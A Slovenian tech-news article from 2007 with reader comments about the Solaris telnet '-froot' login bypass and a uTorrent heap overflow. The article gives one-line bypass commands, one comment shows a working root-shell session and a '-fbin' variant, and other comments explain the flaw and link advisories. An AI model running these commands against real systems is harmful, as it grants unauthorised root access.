» »

Dobrodošli v preteklost...

Dobrodošli v preteklost...

Slo-Tech - 21.4.1994:
rlogin [hostname] -l -froot
IBM AIX rlogin bypass vulnerability

12.2.2007
telnet -l -froot [hostname]
Sun Solaris 10/11 telnet bypass 0-day

Res je telnet že precej arhaičen in večina uporablja SSH ali telnet over SSL. Fascinantno pa je, da se še vedno lahko odkrije tako trivialne ranljivosti... Pomankljivost je bila odkrita s pomočjo OpenSolaris izvorne kode. Le koliko časa je bila znana le posvečenim krogom?

Več informacij:
SANS DShield

In ko smo že pri 0-day ranljivostih, v javnosti se je pojavil tudi remote exploit, ki izkorišča ranljivost v priljubljenem Torrent klientu uTorrent v1.6 (zadnja različica). Gre pa za prekoračitev na kopici (heap overflow). Uporabniki Windows XP SP2/Vista niso ranljivi.

18 komentarjev

Pyr0Beast ::

Fascinantno res. Mislil sem, da je telnet zamrl že nekaj časa nazaj.

Zgodovina se ponavlja :P
Some nanoparticles are more equal than others

Good work: Any notion of sanity and critical thought is off-topic in this place

christooss ::

A lahko eden razloži kaj je ta zero day?
Zakaj je nebo modro? Da imamo lahko sladoled Modro Nebo

Tilen ::

0 day pac pomeni nekaj kar je izslo cisto novega. Zdaj ce je to luknja v sistemu ali nek skupek kode ki to luknjo izkorisca.

Ampak tole je, kot je avtor ze omenil, "0 day" samo za javnost. V resnici ze dolgo ni vec... >:D

Ce pogledas konkretni primer kr iz win: start----> run ---> cmd

C:\Documents and Settings\t>telnet -l -froot 172.30.1.113
Trying 172.30.1.113...
Connected to 172.30.1.113.
Escape character is '^]'.
Last login: Sun Feb 11 21:31:24 from 172.30.1.202
Sun Microsystems Inc. SunOS 5.10 Generic January 2005
You have new mail.
# uname -a;id
SunOS unknown 5.10 Generic_118844-26 i86pc i386 i86pc
uid=0(root) gid=0(root)
#

Brez kakrsne koli zle TM kode.
Drugace pa v Solaris 11 ni vec tako easy. Ne gainas root accessa kot pri 10, lahko pa z -fbin [telnet -l -fbin IP] kasneje local exploitas root . Nekako takole:

C:\Documents and Settings\t>telnet -l “-fbin” 172.30.1.113
Trying 172.30.1.113...
Connected to 172.30.1.113.
Escape character is '^]'.
Last login: Sun Feb 11 00:24:44 from 172.30.1.202
Sun Microsystems Inc. SunOS 5.10 Generic January 2005
$ id
uid=2(bin) gid=2(bin)
$

Kriza.
413120536c6f76656e696a612c20642e642e

Zgodovina sprememb…

  • spremenil: Tilen ()

fiction ::

Kolikor jaz razumem, je fora v tem, da telnet daemon kot root ustvari (forka) nek nov proces (login) in mu poda kot parameter
uporabnisko ime. Problem je sedaj to, da mu namesto tega damo "-f", kar zadeva smatra kot stikalo iz ukazne vrstice in
ne kot (cudno) uporabnisko ime. In "-froot" ocitno pomeni, naj zadeva ne vprasa se za geslo (kot je to obicajno), ampak
naj kar direktno prijavi uporabnika root.
Vsaj v FreeBSD manual-u za login pise:

-f When a user name is specified, this option indicates that proper
authentication has already been done and that no password need be
requested. This option may only be used by the super-user or
when an already logged in user is logging in as themselves.

Torej bi nek "--" spredaj lahko teoreticno vse skupaj resil.

Ranljivost je sicer res trivialna, vendar pa ima lahko zelo hude posledice.

Telnet prenasa uporabnisko ime in geslo kot navaden tekst (kar pomeni da lahko nekdo s pomocjo snifferja
izve geslo). Zato je bolje uporabljati SSH, ki skrbi za enkripcijo podatkov.
Ampak se vedno pa obstaja SSL rezsiritev za telnet in pomoje bi morala biti tudi ta ranljiva, ne?
Razen ce tista stvar sama preveri geslo oz. certifikat in se ne zanasa na login.

Aja to da "exploit" ne dela na Solaris 11, je najbrz posledica tega, da se ni mogoce prijaviti kot root, navsezadnje
uporabnik "bin" se vedno deluje, torej ni tako da bi v tej verziji pa odpravili napako.

Zgodovina sprememb…

  • spremenil: fiction ()

fiction ::

Ce drugace pogledamo na vse skupaj sploh ni cudno, da se zgodovina ponavlja.
Ljudje delamo napake.

Tudi pomankljivosti v programski kodi, ki imajo kot posledico
"buffer overflow" napad je bilo ze nesteto. Pa se se vedno pojavljajo nove (in tudi ni pricakovati
da teh ne bo vec - zato so se v zadnjem casu tudi "razpasle" razne resitve, ki preprecujejo
izkoriscanje takih pomankljivosti).
Take ranljivosti kot opisana, so bolj enostavne, pa vendar se bodo tudi take najbrz se vedno
pojavljale (samo najbrz ne tako pogosto).

En problem je to, da so vedno novi ljudje, ki se nimajo dovolj izkusenj.
Da ne govorimo o tem, da doloceni sploh ne razmisljajo o varnosti ("vazno da dela").
Seveda pa se lahko tudi izkusenim zgodi kaj takega, saj pac ne morejo misliti na vse.

Pri vecih razvijalcih ponavadi vsak misli za drugega, da bo poskrbel za doloceno stvar.
In potem na koncu nobeden ne naredi tega.

Za Solaris je vse skupaj malo sramotno, lahko pa smo veseli da so vsaj dali na razpolago source.
No ja, tovrstno napako bi se dalo odkriti najbrz tudi brez tega.

MrStein ::

So kje kaki detajli o Utorrent problemu ?
Kaj se zgodi z SP2 , se zrusi ?
Na uTorrent strani ni nic o tem.
Motiti se je človeško.
Motiti se pogosto je neumno.
Vztrajati pri zmoti je... oh, pozdravljen!

Tr0n ::

"Uporabniki Windows XP SP2/Vista niso ranljivi."

denial ::

@fiction:
Odlična interpretacija.

Ranljiva koda:
in.telnetd.c (vrstica 3199)
login.c (vrstica 1399)

@MrStein:
Secunia
Security Focus
SELECT finger FROM hand WHERE id=3;

jype ::

fiction> Pri vecih razvijalcih ponavadi vsak misli za drugega, da bo poskrbel za doloceno stvar.
fiction> In potem na koncu nobeden ne naredi tega.

No, zaradi novih "tehnik" programiranja, je tega resnici na ljubo vedno manj...

Pravzaprav je peer review ena najbolj pomembnih točk varnega programiranja, sicer pa zelo dobro napisano, kako do take napake pride.

fiction ::

MrStein: Ja, tudi v ChangeLogu ni govora o tem, da bi odpravili kaksno tako napako. Ocitno je torej se niso.
Dejansko gre za klasicen overflow pri parsanju "announce" headerja iz .torrent fajla.

Ampak vprasanje pa je zakaj XP SP2/Vista uporabniki niso ranljivi.
Je zadeva imuna zaradi XD (oz. NX bita - amd) v hardwaru, ki ga zna OS v tej verziji tudi izkoriscati?
Ali pa samo tista PoC shell koda ne dela dobro na SP2 (kar bi teoreticno lahko kdo popravil)?

MrStein ::

Odkod ideja, da SP2/Vista ni ranljiva ?
V nobenem od linkanih advisoryjev ne pise to.

Popravek: Aha, v PoC to pise: Works on XP SP1 and w2k sp1-4
Seveda nic ne pise, da se ne bi dalo tudi v SP2 narediti.

Sicer pa, "Lakocemo... kaj nas briga".

Naslednji teden pa : Zakaj se mi neka okna odpirajo ... :\
Motiti se je človeško.
Motiti se pogosto je neumno.
Vztrajati pri zmoti je... oh, pozdravljen!

Zgodovina sprememb…

  • spremenil: MrStein ()

gumby ::

[teorija zarote]tale bug v utorrent je namerno vstavljen, da lahk mpaa in riaa spijunirata za vami[/teorija zarote]:D
my brain hurts

Tilen ::

Zato me pa neki xy obcutek vedno odvraca od tistih najbolj popularnih programov.
413120536c6f76656e696a612c20642e642e

Microsoft ::

ot

Tilen, kako to, da toliko poznas Sun Solaris? Se ga ucis?


by Miha
s8eqaWrumatu*h-+r5wre3$ev_pheNeyut#VUbraS@e2$u5ESwE67&uhukuCh3pr

Tilen ::

Ne, nisem se tako dalec. Zaenkrat se samo tipam to in ono, mogoce se pa kdaj res poglobim.
413120536c6f76656e696a612c20642e642e

Zgodovina sprememb…

  • spremenil: Tilen ()

denial ::

Windows XP SP2/2003 SP1/Vista niso ranljivi na uTorrent exploit zaradi naprednih heap overflow protection mehanizmov (PEB randomization, security cookie, pointer obfuscation...):
http://www.securityfocus.com/infocus/1846

OK, sicer so znane metode kako premostiti tovrstne ovire (zelo znan je npr. "heap spray", ki se uporablja za IE exploite), vendar po trditvah ekspertov heap overflow exploiti v navedenih OSih preprosto niso "reliable"... To seveda ne pomeni, da jih ni možno izvesti.

Glede uTorrent Changelog-a:
Zadnja verzija je 2006-07-02: Version 1.6 (build 474) in tale je ranljiva. Sicer pa sem nekje zasledil, da uTorrent ne bodo več razvijali. Se motim?

Sun je objavil uradno izjavo glede telnet exploita:
http://sunsolve.sun.com/search/document.do?assetkey=1-26-102802-1

Sun proudly presents another "oldie but goldie" vulnerability:
Ping of death 2007
SELECT finger FROM hand WHERE id=3;

Zgodovina sprememb…

  • spremenil: denial ()

denial ::

SELECT finger FROM hand WHERE id=3;

MrStein ::

Latest Version: µTorrent 1.6.1 Stable build 488
Download: http://download.utorrent.com/1.6.1/utor...
Changelog: http://download.utorrent.com/1.6.1/utor...

Ceprav zgleda se ni na njihovi download strani.

Baje je problem ze tri mesece popravljen v beta verziji ...
Motiti se je človeško.
Motiti se pogosto je neumno.
Vztrajati pri zmoti je... oh, pozdravljen!


Vredno ogleda ...

TemaSporočilaOglediZadnje sporočilo
TemaSporočilaOglediZadnje sporočilo
»

Linux/Apache kot vektor napada...

Oddelek: Informacijska varnost
272294 (1684) Atos
»

0-day exploits = 0-year exploits

Oddelek: Novice / Varnost
154407 (3311) MrStein
»

Dobrodošli v preteklost...

Oddelek: Novice / Ostala programska oprema
184924 (3673) MrStein
»

Mesec hroščatih jeder...

Oddelek: Novice / Varnost
113367 (2718) Poldi112
»

Default porti razširjenih aplikacij

Oddelek: Operacijski sistemi
101294 (1153) BigWhale

Več podobnih tem